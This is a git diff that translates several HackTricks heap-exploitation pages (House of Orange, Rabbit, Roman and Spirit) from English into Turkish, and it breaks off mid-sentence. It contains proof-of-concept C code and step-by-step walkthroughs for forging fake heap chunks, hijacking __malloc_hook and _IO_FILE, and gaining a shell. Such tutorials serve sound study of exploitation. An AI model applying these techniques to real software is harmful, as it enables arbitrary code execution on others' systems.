specifically setting its size to **0x61**. This serves two purposes: +Sonraki adım, eski üst parçanın boyutunu küçük bir kutuya sığacak şekilde küçültmektir; özellikle boyutunu **0x61** olarak ayarlamaktır. Bu iki amaca hizmet eder: -1. **Insertion into Small Bin 4**: When `malloc` scans through the unsorted bin and sees this chunk, it will try to insert it into small bin 4 due to its small size. This makes the chunk end up at the head of the small bin 4 list which is the location of the FD pointer of the chunk of **`_IO_list_all`** as we wrote a close address in **`_IO_list_all`** via the unsorted bin attack. -2. **Triggering a Malloc Check**: This chunk size manipulation will cause `malloc` to perform internal checks. When it checks the size of the false forward chunk, which will be zero, it triggers an error and calls `malloc_printerr`. +1. **Küçük Kutular 4'e Ekleme**: `malloc` sıralanmamış kutuyu taradığında ve bu parçayı gördüğünde, küçük boyutu nedeniyle onu küçük kutu 4'e eklemeye çalışacaktır. Bu, parçanın, **`_IO_list_all`** parçasının FD işaretçisinin bulunduğu küçük kutu 4 listesinin başına yerleşmesini sağlar; çünkü sıralanmamış kutu saldırısı aracılığıyla **`_IO_list_all`** içinde yakın bir adres yazdık. +2. **Malloc Kontrolünü Tetikleme**: Bu parça boyutu manipülasyonu, `malloc`'ın iç kontrolleri gerçekleştirmesine neden olacaktır. Yanlış ileri parça boyutunu kontrol ettiğinde, bu sıfır olacaktır ve bir hata tetikleyerek `malloc_printerr`'i çağırır. -The manipulation of the small bin will allow you to control the forward pointer of the chunk. The overlap with **\_IO_list_all** is used to forge a fake **\_IO_FILE** structure. The structure is carefully crafted to include key fields like `_IO_write_base` and `_IO_write_ptr` set to values that pass internal checks in libc. Additionally, a jump table is created within the fake structure, where an instruction pointer is set to the address where arbitrary code (e.g., the `system` function) can be executed. +Küçük kutunun manipülasyonu, parçanın ileri işaretçisini kontrol etmenizi sağlar. **\_IO_list_all** ile olan örtüşme, sahte bir **\_IO_FILE** yapısını oluşturmak için kullanılır. Yapı, libc'deki iç kontrolleri geçecek şekilde `_IO_write_base` ve `_IO_write_ptr` gibi anahtar alanları içerecek şekilde dikkatlice hazırlanır. Ayrıca, sahte yapının içinde, keyfi kodun (örneğin, `system` fonksiyonu) çalıştırılabileceği adrese ayarlanmış bir talimat işaretçisi bulunan bir atlama tablosu oluşturulur. -To summarize the remaining part of the technique: +Tekniğin kalan kısmını özetlemek gerekirse: -- **Shrink the Old Top Chunk**: Adjust the size of the old top chunk to **0x61** to fit it into a small bin. -- **Set Up the Fake `_IO_FILE` Structure**: Overlap the old top chunk with the fake **\_IO_FILE** structure and set fields appropriately to hijack execution flow. +- **Eski Üst Parçayı Küçültün**: Eski üst parçanın boyutunu **0x61** olarak ayarlayın, böylece küçük bir kutuya sığsın. +- **Sahte `_IO_FILE` Yapısını Kurun**: Eski üst parçayı sahte **\_IO_FILE** yapısıyla örtüştürün ve alanları uygun şekilde ayarlayarak yürütme akışını ele geçirin. -The next step involves forging a fake **\_IO_FILE** structure that overlaps with the old top chunk currently in the unsorted bin. The first bytes of this structure are crafted carefully to include a pointer to a command (e.g., "/bin/sh") that will be executed. +Sonraki adım, sıralanmamış kutuda bulunan eski üst parça ile örtüşen sahte bir **\_IO_FILE** yapısı oluşturmaktır. Bu yapının ilk baytları, çalıştırılacak bir komuta (örneğin, "/bin/sh") işaret eden bir işaretçi içerecek şekilde dikkatlice hazırlanır. -Key fields in the fake **\_IO_FILE** structure, such as `_IO_write_base` and `_IO_write_ptr`, are set to values that pass internal checks in libc. Additionally, a jump table is created within the fake structure, where an instruction pointer is set to the address where arbitrary code can be executed. Typically, this would be the address of the `system` function or another function that can execute shell commands. +Sahte **\_IO_FILE** yapısındaki anahtar alanlar, libc'deki iç kontrolleri geçecek şekilde ayarlanır. Ayrıca, sahte yapının içinde, keyfi kodun çalıştırılabileceği adrese ayarlanmış bir talimat işaretçisi bulunan bir atlama tablosu oluşturulur. Genellikle bu, `system` fonksiyonunun adresi veya shell komutlarını çalıştırabilen başka bir fonksiyonun adresi olacaktır. -The attack culminates when a call to `malloc` triggers the execution of the code through the manipulated **\_IO_FILE** structure. This effectively allows arbitrary code execution, typically resulting in a shell being spawned or another malicious payload being executed. +Saldırı, `malloc` çağrısının manipüle edilmiş **\_IO_FILE** yapısı aracılığıyla kodun çalıştırılmasını tetiklemesiyle sonuçlanır. Bu, genellikle bir shell'in başlatılması veya başka bir kötü niyetli yükün çalıştırılmasıyla sonuçlanan keyfi kod yürütmesine olanak tanır. -**Summary of the Attack:** +**Saldırının Özeti:** -1. **Set up the top chunk**: Allocate a chunk and modify the top chunk size. -2. **Force the top chunk into the unsorted bin**: Allocate a larger chunk. -3. **Leak libc addresses**: Use the vulnerability to read from the unsorted bin. -4. **Perform the unsorted bin attack**: Write to **\_IO_list_all** using an overflow. -5. **Shrink the old top chunk**: Adjust its size to fit into a small bin. -6. **Set up a fake \_IO_FILE structure**: Forge a fake file structure to hijack control flow. -7. **Trigger code execution**: Allocate a chunk to execute the attack and run arbitrary code. +1. **Üst parçayı ayarlayın**: Bir parça tahsis edin ve üst parça boyutunu değiştirin. +2. **Üst parçayı sıralanmamış kutuya zorlayın**: Daha büyük bir parça tahsis edin. +3. **Libc adreslerini sızdırın**: Zafiyeti kullanarak sıralanmamış kutudan okuyun. +4. **Sıralanmamış kutu saldırısını gerçekleştirin**: Taşma kullanarak **\_IO_list_all**'a yazın. +5. **Eski üst parçayı küçültün**: Boyutunu küçük bir kutuya sığacak şekilde ayarlayın. +6. **Sahte \_IO_FILE yapısını kurun**: Kontrol akışını ele geçirmek için sahte bir dosya yapısı oluşturun. +7. **Kod yürütmesini tetikleyin**: Saldırıyı gerçekleştirmek ve keyfi kodu çalıştırmak için bir parça tahsis edin. -This approach exploits heap management mechanisms, libc information leaks, and heap overflows to achieve code execution without directly calling `free`. By carefully crafting the fake **\_IO_FILE** structure and placing it in the right location, the attack can hijack the control flow during standard memory allocation operations. This enables the execution of arbitrary code, potentially resulting in a shell or other malicious activities. +Bu yaklaşım, kod yürütmesini elde etmek için heap yönetim mekanizmalarını, libc bilgi sızıntılarını ve heap taşmalarını sömürmektedir. Sahte **\_IO_FILE** yapısını dikkatlice oluşturarak ve doğru konuma yerleştirerek, saldırı standart bellek tahsis işlemleri sırasında kontrol akışını ele geçirebilir. Bu, keyfi kodun yürütülmesini sağlar ve potansiyel olarak bir shell veya diğer kötü niyetli faaliyetlerle sonuçlanabilir. -## References +## Referanslar - [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_orange/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_orange/) - [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html) diff --git a/src/binary-exploitation/libc-heap/house-of-rabbit.md b/src/binary-exploitation/libc-heap/house-of-rabbit.md index 230b7c63e..3a447a3c3 100644 --- a/src/binary-exploitation/libc-heap/house-of-rabbit.md +++ b/src/binary-exploitation/libc-heap/house-of-rabbit.md @@ -2,110 +2,92 @@ {{#include ../../banners/hacktricks-training.md}} -### Requirements +### Gereksinimler -1. **Ability to modify fast bin fd pointer or size**: This means you can change the forward pointer of a chunk in the fastbin or its size. -2. **Ability to trigger `malloc_consolidate`**: This can be done by either allocating a large chunk or merging the top chunk, which forces the heap to consolidate chunks. +1. **Hızlı bin fd işaretçisini veya boyutunu değiştirme yeteneği**: Bu, hızlı bin içindeki bir parçanın ileri işaretçisini veya boyutunu değiştirebileceğiniz anlamına gelir. +2. **`malloc_consolidate` tetikleme yeteneği**: Bu, ya büyük bir parça ayırarak ya da üst parçayı birleştirerek yapılabilir; bu, yığın parçalarını birleştirmeye zorlar. -### Goals +### Hedefler -1. **Create overlapping chunks**: To have one chunk overlap with another, allowing for further heap manipulations. -2. **Forge fake chunks**: To trick the allocator into treating a fake chunk as a legitimate chunk during heap operations. +1. **Üst üste binen parçalar oluşturma**: Bir parçanın diğerinin üstüne gelmesini sağlamak, böylece daha fazla yığın manipülasyonu yapılmasına olanak tanımak. +2. **Sahte parçalar oluşturma**: Yığın işlemleri sırasında sahte bir parçayı meşru bir parça olarak ele alması için ayırıcıyı kandırmak. -## Steps of the attack +## Saldırı Adımları -### POC 1: Modify the size of a fast bin chunk +### POC 1: Hızlı bin parça boyutunu değiştirme -**Objective**: Create an overlapping chunk by manipulating the size of a fastbin chunk. - -- **Step 1: Allocate Chunks** +**Amaç**: Hızlı bin parçasının boyutunu manipüle ederek üst üste binen bir parça oluşturmak. +- **Adım 1: Parçaları Ayır** ```cpp unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000 unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050 malloc(0x10); // Allocates a small chunk to change the fastbin state ``` +İki adet 0x40 baytlık parça ayırıyoruz. Bu parçalar serbest bırakıldıklarında hızlı kutu listesine yerleştirilecektir. -We allocate two chunks of 0x40 bytes each. These chunks will be placed in the fast bin list once freed. - -- **Step 2: Free Chunks** - +- **Adım 2: Parçaları Serbest Bırak** ```cpp free(chunk1); // Frees the chunk at 0x602000 free(chunk2); // Frees the chunk at 0x602050 ``` +İki parçayı serbest bırakıyoruz ve bunları fastbin listesine ekliyoruz. -We free both chunks, adding them to the fastbin list. - -- **Step 3: Modify Chunk Size** - +- **Adım 3: Parça Boyutunu Değiştir** ```cpp chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1]) ``` +`chunk1`'in boyut meta verisini 0xa1 olarak değiştiriyoruz. Bu, birleştirme sırasında allocator'ı kandırmak için kritik bir adımdır. -We change the size metadata of `chunk1` to 0xa1. This is a crucial step to trick the allocator during consolidation. - -- **Step 4: Trigger `malloc_consolidate`** - +- **Adım 4: `malloc_consolidate`'i Tetikle** ```cpp malloc(0x1000); // Allocate a large chunk to trigger heap consolidation ``` +Büyük bir parça ayırmak, hızlı bin içindeki küçük parçaları birleştiren `malloc_consolidate` fonksiyonunu tetikler. Manipüle edilmiş `chunk1` boyutu, `chunk2` ile örtüşmesine neden olur. -Allocating a large chunk triggers the `malloc_consolidate` function, merging small chunks in the fast bin. The manipulated size of `chunk1` causes it to overlap with `chunk2`. +Konsolidasyondan sonra, `chunk1` `chunk2` ile örtüşür ve daha fazla istismar olanağı sağlar. -After consolidation, `chunk1` overlaps with `chunk2`, allowing for further exploitation. +### POC 2: `fd` işaretçisini değiştir -### POC 2: Modify the `fd` pointer - -**Objective**: Create a fake chunk by manipulating the fast bin `fd` pointer. - -- **Step 1: Allocate Chunks** +**Amaç**: Hızlı bin `fd` işaretçisini manipüle ederek sahte bir parça oluşturmak. +- **Adım 1: Parçaları Ayır** ```cpp unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000 unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050 ``` +**Açıklama**: Yığın için sahte parça oluşturmak üzere bir küçük ve bir büyük iki parça ayırıyoruz. -**Explanation**: We allocate two chunks, one smaller and one larger, to set up the heap for the fake chunk. - -- **Step 2: Create fake chunk** - +- **Adım 2: Sahte parça oluştur** ```cpp chunk2[1] = 0x31; // Fake chunk size 0x30 chunk2[7] = 0x21; // Next fake chunk chunk2[11] = 0x21; // Next-next fake chunk ``` +`chunk2` içine sahte parça meta verisi yazarak daha küçük parçaları simüle ediyoruz. -We write fake chunk metadata into `chunk2` to simulate smaller chunks. - -- **Step 3: Free `chunk1`** - +- **Adım 3: `chunk1`'i serbest bırak** ```cpp free(chunk1); // Frees the chunk at 0x602000 ``` +**Açıklama**: `chunk1`'i serbest bırakıyoruz, hızlı listeye ekliyoruz. -**Explanation**: We free `chunk1`, adding it to the fastbin list. - -- **Step 4: Modify `fd` of `chunk1`** - +- **Adım 4: `chunk1`'in `fd`'sini Değiştir** ```cpp chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2 ``` +**Açıklama**: `chunk1`'in ileri işaretçisini (`fd`) `chunk2` içindeki sahte parçamıza işaret edecek şekilde değiştiriyoruz. -**Explanation**: We change the forward pointer (`fd`) of `chunk1` to point to our fake chunk inside `chunk2`. - -- **Step 5: Trigger `malloc_consolidate`** - +- **Adım 5: `malloc_consolidate`'i tetikle** ```cpp malloc(5000); // Allocate a large chunk to trigger heap consolidation ``` +Büyük bir parça yeniden tahsis edildiğinde `malloc_consolidate` tetiklenir, bu da sahte parçayı işler. -Allocating a large chunk again triggers `malloc_consolidate`, which processes the fake chunk. +Sahte parça, hızlı listeye dahil olur ve bu da onu daha fazla istismar için meşru bir parça haline getirir. -The fake chunk becomes part of the fastbin list, making it a legitimate chunk for further exploitation. +### Özet -### Summary - -The **House of Rabbit** technique involves either modifying the size of a fast bin chunk to create overlapping chunks or manipulating the `fd` pointer to create fake chunks. This allows attackers to forge legitimate chunks in the heap, enabling various forms of exploitation. Understanding and practicing these steps will enhance your heap exploitation skills. +**House of Rabbit** tekniği, bir hızlı parça boyutunu değiştirerek üst üste binen parçalar oluşturmayı veya sahte parçalar oluşturmak için `fd` işaretçisini manipüle etmeyi içerir. Bu, saldırganların yığında meşru parçalar oluşturmasına olanak tanır ve çeşitli istismar biçimlerini mümkün kılar. Bu adımları anlamak ve uygulamak, yığın istismar becerilerinizi geliştirecektir. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/house-of-roman.md b/src/binary-exploitation/libc-heap/house-of-roman.md index a3deaf939..cc4991f9a 100644 --- a/src/binary-exploitation/libc-heap/house-of-roman.md +++ b/src/binary-exploitation/libc-heap/house-of-roman.md @@ -2,87 +2,82 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -This was a very interesting technique that allowed for RCE without leaks via fake fastbins, the unsorted_bin attack and relative overwrites. However it has ben [**patched**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c). +Bu, sahte fastbinler, unsorted_bin saldırısı ve göreceli yazmalar aracılığıyla sızıntı olmadan RCE'ye izin veren çok ilginç bir teknikti. Ancak bu [**yamanmıştır**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c). -### Code +### Kod -- You can find an example in [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c) +- Bir örneği [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c) adresinde bulabilirsiniz. -### Goal +### Hedef -- RCE by abusing relative pointers +- Göreceli işaretçileri kötüye kullanarak RCE -### Requirements +### Gereksinimler -- Edit fastbin and unsorted bin pointers -- 12 bits of randomness must be brute forced (0.02% chance) of working +- Fastbin ve unsorted bin işaretçilerini düzenleyin +- 12 bit rastgelelik zorla kırılmalıdır (çalışma olasılığı %0.02) -## Attack Steps +## Saldırı Adımları -### Part 1: Fastbin Chunk points to \_\_malloc_hook +### Bölüm 1: Fastbin Chunk \_\_malloc_hook'a işaret ediyor -Create several chunks: +Birçok chunk oluşturun: -- `fastbin_victim` (0x60, offset 0): UAF chunk later to edit the heap pointer later to point to the LibC value. -- `chunk2` (0x80, offset 0x70): For good alignment +- `fastbin_victim` (0x60, offset 0): Daha sonra heap işaretçisini LibC değerine işaret edecek şekilde düzenlemek için UAF chunk. +- `chunk2` (0x80, offset 0x70): İyi hizalama için - `main_arena_use` (0x80, offset 0x100) -- `relative_offset_heap` (0x60, offset 0x190): relative offset on the 'main_arena_use' chunk +- `relative_offset_heap` (0x60, offset 0x190): 'main_arena_use' chunk'ındaki göreceli offset -Then `free(main_arena_use)` which will place this chunk in the unsorted list and will get a pointer to `main_arena + 0x68` in both the `fd` and `bk` pointers. +Sonra `free(main_arena_use)` yapın, bu chunk'ı unsorted liste yerleştirecek ve hem `fd` hem de `bk` işaretçelerinde `main_arena + 0x68` adresine bir işaretçi alacaktır. -Now it's allocated a new chunk `fake_libc_chunk(0x60)` because it'll contain the pointers to `main_arena + 0x68` in `fd` and `bk`. - -Then `relative_offset_heap` and `fastbin_victim` are freed. +Artık `fd` ve `bk`'de `main_arena + 0x68` işaretçilerini içerecek yeni bir chunk `fake_libc_chunk(0x60)` tahsis edilmiştir. +Sonra `relative_offset_heap` ve `fastbin_victim` serbest bırakılır. ```c /* Current heap layout: - 0x0: fastbin_victim - size 0x70 - 0x70: alignment_filler - size 0x90 - 0x100: fake_libc_chunk - size 0x70 (contains a fd ptr to main_arena + 0x68) - 0x170: leftover_main - size 0x20 - 0x190: relative_offset_heap - size 0x70 +0x0: fastbin_victim - size 0x70 +0x70: alignment_filler - size 0x90 +0x100: fake_libc_chunk - size 0x70 (contains a fd ptr to main_arena + 0x68) +0x170: leftover_main - size 0x20 +0x190: relative_offset_heap - size 0x70 - bin layout: - fastbin: fastbin_victim -> relative_offset_heap - unsorted: leftover_main +bin layout: +fastbin: fastbin_victim -> relative_offset_heap +unsorted: leftover_main */ ``` +- `fastbin_victim` bir `fd`'ye sahiptir ve bu `relative_offset_heap`'e işaret eder. +- `relative_offset_heap`, `main_arena + 0x68`'e işaret eden bir işaretçi içeren `fake_libc_chunk`'ten uzaklık ofsetidir. +- `fastbin_victim.fd`'nin son baytını değiştirmek, `fastbin_victim`'in `main_arena + 0x68`'e işaret etmesini sağlamak mümkündür. -- `fastbin_victim` has a `fd` pointing to `relative_offset_heap` -- `relative_offset_heap` is an offset of distance from `fake_libc_chunk`, which contains a pointer to `main_arena + 0x68` -- Just changing the last byte of `fastbin_victim.fd` it's possible to make `fastbin_victim points` to `main_arena + 0x68` +Önceki eylemler için, saldırganın `fastbin_victim`'in fd işaretçisini değiştirebilme yeteneğine sahip olması gerekir. -For the previous actions, the attacker needs to be capable of modifying the fd pointer of `fastbin_victim`. +Sonra, `main_arena + 0x68` o kadar ilginç değildir, bu yüzden işaretçiyi **`__malloc_hook`**'a işaret edecek şekilde değiştirelim. -Then, `main_arena + 0x68` is not that interesting, so lets modify it so the pointer points to **`__malloc_hook`**. +`__memalign_hook` genellikle `0x7f` ile başlar ve öncesinde sıfırlar bulunur, bu nedenle bunu `0x70` hızlı bin içinde bir değer olarak sahteleyebiliriz. Adresin son 4 biti **rastgele** olduğundan, ilginç olduğumuz yere işaret edecek değerin 16 olasılığı vardır: `2^4=16`. Bu nedenle burada bir BF saldırısı gerçekleştirilir, böylece parça şu şekilde sona erer: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.** -Note that `__memalign_hook` usually starts with `0x7f` and zeros before it, then it's possible to fake it as a value in the `0x70` fast bin. Because the last 4 bits of the address are **random** there are `2^4=16` possibilities for the value to end pointing where are interested. So a BF attack is performed here so the chunk ends like: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.** - -(For more info about the rest of the bytes check the explanation in the [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ example](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). If the BF don't work the program just crashes (so start gain until it works). - -Then, 2 mallocs are performed to remove the 2 initial fast bin chunks and the a third one is alloced to get a chunk in the **`__malloc_hook:`** +(Diğer baytlar hakkında daha fazla bilgi için [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ örneğine](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c) bakın). BF çalışmazsa program sadece çökebilir (bu yüzden çalışana kadar tekrar başlatın). +Sonra, 2 malloc işlemi gerçekleştirilir ve 2 başlangıç hızlı bin parçası kaldırılır ve **`__malloc_hook:`**'te bir parça almak için üçüncü bir malloc yapılır. ```c malloc(0x60); malloc(0x60); uint8_t* malloc_hook_chunk = malloc(0x60); ``` +### Bölüm 2: Unsorted_bin saldırısı -### Part 2: Unsorted_bin attack - -For more info you can check: +Daha fazla bilgi için kontrol edebilirsiniz: {{#ref}} unsorted-bin-attack.md {{#endref}} -But basically it allows to write `main_arena + 0x68` to any location by specified in `chunk->bk`. And for the attack we choose `__malloc_hook`. Then, after overwriting it we will use a relative overwrite) to point to a `one_gadget`. - -For this we start getting a chunk and putting it into the **unsorted bin**: +Ama temelde, `chunk->bk` içinde belirtilen herhangi bir konuma `main_arena + 0x68` yazılmasına izin verir. Ve saldırı için `__malloc_hook` seçiyoruz. Sonra, onu geçersiz kıldıktan sonra, bir `one_gadget`'e işaret etmek için göreli bir geçersiz kılma kullanacağız. +Bunun için bir chunk alarak **unsorted bin**'e koymaya başlıyoruz: ```c uint8_t* unsorted_bin_ptr = malloc(0x80); malloc(0x30); // Don't want to consolidate @@ -91,25 +86,24 @@ puts("Put chunk into unsorted_bin\n"); // Free the chunk to create the UAF free(unsorted_bin_ptr); ``` - -Use an UAF in this chunk to point `unsorted_bin_ptr->bk` to the address of `__malloc_hook` (we brute forced this previously). +Bir UAF kullanarak `unsorted_bin_ptr->bk`'yi `__malloc_hook` adresine işaret edecek şekilde ayarlayın (bunu daha önce brute force ile bulmuştuk). > [!CAUTION] -> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **alloc the same size or the program will crash.** +> Bu saldırının unsorted bin'i bozduğunu (dolayısıyla küçük ve büyük olanları da) unutmayın. Bu nedenle, artık yalnızca **hızlı bin'den tahsisat kullanabiliriz** (daha karmaşık bir program başka tahsisatlar yapabilir ve çökebilir) ve bunu tetiklemek için **aynı boyutta tahsisat yapmalıyız, aksi takdirde program çöker.** -So, to trigger the write of `main_arena + 0x68` in `__malloc_hook` we perform after setting `__malloc_hook` in `unsorted_bin_ptr->bk` we just need to do: **`malloc(0x80)`** +Böylece, `__malloc_hook`'de `main_arena + 0x68` yazımını tetiklemek için, `__malloc_hook`'u `unsorted_bin_ptr->bk`'de ayarladıktan sonra sadece şunu yapmamız gerekiyor: **`malloc(0x80)`** -### Step 3: Set \_\_malloc_hook to system +### Adım 3: \_\_malloc_hook'u system olarak ayarlayın -In the step one we ended controlling a chunk containing `__malloc_hook` (in the variable `malloc_hook_chunk`) and in the second step we managed to write `main_arena + 0x68` in here. +Birinci adımda `__malloc_hook`'u içeren bir chunk'ı kontrol etmeyi başardık (değişken `malloc_hook_chunk` içinde) ve ikinci adımda burada `main_arena + 0x68` yazmayı başardık. -Now, we abuse a partial overwrite in `malloc_hook_chunk` to use the libc address we wrote there(`main_arena + 0x68`) to **point a `one_gadget` address**. +Şimdi, `malloc_hook_chunk`'te kısmi bir yazma işlemi suistimal ederek oraya yazdığımız libc adresini (`main_arena + 0x68`) **bir `one_gadget` adresine işaret etmek için** kullanıyoruz. -Here is where it's needed to **bruteforce 12 bits of randomness** (more info in the [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ example](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). +Burada **12 bit rastgeleliği brute force ile bulmak** gerekiyor (daha fazla bilgi için [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ örneği](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). -Finally, one the correct address is overwritten, **call `malloc` and trigger the `one_gadget`**. +Son olarak, doğru adres yazıldığında, **`malloc` çağırın ve `one_gadget`'i tetikleyin.** -## References +## Referanslar - [https://github.com/shellphish/how2heap](https://github.com/shellphish/how2heap) - [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c) diff --git a/src/binary-exploitation/libc-heap/house-of-spirit.md b/src/binary-exploitation/libc-heap/house-of-spirit.md index 1ce36fd14..da8fbaa0c 100644 --- a/src/binary-exploitation/libc-heap/house-of-spirit.md +++ b/src/binary-exploitation/libc-heap/house-of-spirit.md @@ -2,14 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -### Code +### Kod
House of Spirit - ```c #include #include @@ -19,99 +18,96 @@ // Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit struct fast_chunk { - size_t prev_size; - size_t size; - struct fast_chunk *fd; - struct fast_chunk *bk; - char buf[0x20]; // chunk falls in fastbin size range +size_t prev_size; +size_t size; +struct fast_chunk *fd; +struct fast_chunk *bk; +char buf[0x20]; // chunk falls in fastbin size range }; int main() { - struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory - void *ptr, *victim; +struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory +void *ptr, *victim; - ptr = malloc(0x30); +ptr = malloc(0x30); - printf("Original alloc address: %p\n", ptr); - printf("Main fake chunk:%p\n", &fake_chunks[0]); - printf("Second fake chunk for size: %p\n", &fake_chunks[1]); +printf("Original alloc address: %p\n", ptr); +printf("Main fake chunk:%p\n", &fake_chunks[0]); +printf("Second fake chunk for size: %p\n", &fake_chunks[1]); - // Passes size check of "free(): invalid size" - fake_chunks[0].size = sizeof(struct fast_chunk); +// Passes size check of "free(): invalid size" +fake_chunks[0].size = sizeof(struct fast_chunk); - // Passes "free(): invalid next size (fast)" - fake_chunks[1].size = sizeof(struct fast_chunk); +// Passes "free(): invalid next size (fast)" +fake_chunks[1].size = sizeof(struct fast_chunk); - // Attacker overwrites a pointer that is about to be 'freed' - // Point to .fd as it's the start of the content of the chunk - ptr = (void *)&fake_chunks[0].fd; +// Attacker overwrites a pointer that is about to be 'freed' +// Point to .fd as it's the start of the content of the chunk +ptr = (void *)&fake_chunks[0].fd; - free(ptr); +free(ptr); - victim = malloc(0x30); - printf("Victim: %p\n", victim); +victim = malloc(0x30); +printf("Victim: %p\n", victim); - return 0; +return 0; } ``` -
-### Goal +### Hedef -- Be able to add into the tcache / fast bin an address so later it's possible to allocate it +- tcache / fast bin'e bir adres ekleyebilmek, böylece daha sonra onu tahsis etmek mümkün olsun. -### Requirements +### Gereksinimler -- This attack requires an attacker to be able to create a couple of fake fast chunks indicating correctly the size value of it and then to be able to free the first fake chunk so it gets into the bin. +- Bu saldırı, bir saldırganın doğru boyut değerini belirten birkaç sahte hızlı parça oluşturabilmesini ve ardından ilk sahte parçayı serbest bırakabilmesini gerektirir, böylece bu parça bin'e girebilir. -### Attack +### Saldırı -- Create fake chunks that bypasses security checks: you will need 2 fake chunks basically indicating in the correct positions the correct sizes -- Somehow manage to free the first fake chunk so it gets into the fast or tcache bin and then it's allocate it to overwrite that address - -**The code from** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **is great to understand the attack.** Although this schema from the code summarises it pretty good: +- Güvenlik kontrollerini aşan sahte parçalar oluşturun: temelde doğru pozisyonlarda doğru boyutları belirten 2 sahte parçaya ihtiyacınız olacak. +- İlk sahte parçayı serbest bırakmayı başarmak, böylece fast veya tcache bin'e girmesini sağlamak ve ardından o adresi üzerine yazmak için tahsis etmek. +**[**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html)**'dan alınan kod, saldırıyı anlamak için harikadır.** Kodun bu şeması, durumu oldukça iyi özetliyor: ```c /* - this will be the structure of our two fake chunks: - assuming that you compiled it for x64 +this will be the structure of our two fake chunks: +assuming that you compiled it for x64 - +-------+---------------------+------+ - | 0x00: | Chunk # 0 prev size | 0x00 | - +-------+---------------------+------+ - | 0x08: | Chunk # 0 size | 0x60 | - +-------+---------------------+------+ - | 0x10: | Chunk # 0 content | 0x00 | - +-------+---------------------+------+ - | 0x60: | Chunk # 1 prev size | 0x00 | - +-------+---------------------+------+ - | 0x68: | Chunk # 1 size | 0x40 | - +-------+---------------------+------+ - | 0x70: | Chunk # 1 content | 0x00 | - +-------+---------------------+------+ ++-------+---------------------+------+ +| 0x00: | Chunk # 0 prev size | 0x00 | ++-------+---------------------+------+ +| 0x08: | Chunk # 0 size | 0x60 | ++-------+---------------------+------+ +| 0x10: | Chunk # 0 content | 0x00 | ++-------+---------------------+------+ +| 0x60: | Chunk # 1 prev size | 0x00 | ++-------+---------------------+------+ +| 0x68: | Chunk # 1 size | 0x40 | ++-------+---------------------+------+ +| 0x70: | Chunk # 1 content | 0x00 | ++-------+---------------------+------+ - for what we are doing the prev size values don't matter too much - the important thing is the size values of the heap headers for our fake chunks +for what we are doing the prev size values don't matter too much +the important thing is the size values of the heap headers for our fake chunks */ ``` - > [!NOTE] -> Note that it's necessary to create the second chunk in order to bypass some sanity checks. +> İkinci parçayı oluşturmanın bazı mantık kontrollerini atlamak için gerekli olduğunu unutmayın. -## Examples +## Örnekler - **CTF** [**https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html**](https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html) - - **Libc infoleak**: Via an overflow it's possible to change a pointer to point to a GOT address in order to leak a libc address via the read action of the CTF - - **House of Spirit**: Abusing a counter that counts the number of "rifles" it's possible to generate a fake size of the first fake chunk, then abusing a "message" it's possible to fake the second size of a chunk and finally abusing an overflow it's possible to change a pointer that is going to be freed so our first fake chunk is freed. Then, we can allocate it and inside of it there is going to be the address to where "message" is stored. Then, it's possible to make this point to the `scanf` entry inside the GOT table, so we can overwrite it with the address to system.\ - Next time `scanf` is called, we can send the input `"/bin/sh"` and get a shell. +- **Libc infoleak**: Bir taşma aracılığıyla, bir işaretçiyi bir GOT adresine işaret edecek şekilde değiştirmek mümkündür, böylece CTF'nin okuma eylemi aracılığıyla bir libc adresi sızdırılabilir. +- **House of Spirit**: "Tüfek" sayısını sayan bir sayacı kötüye kullanarak, ilk sahte parçanın sahte boyutunu 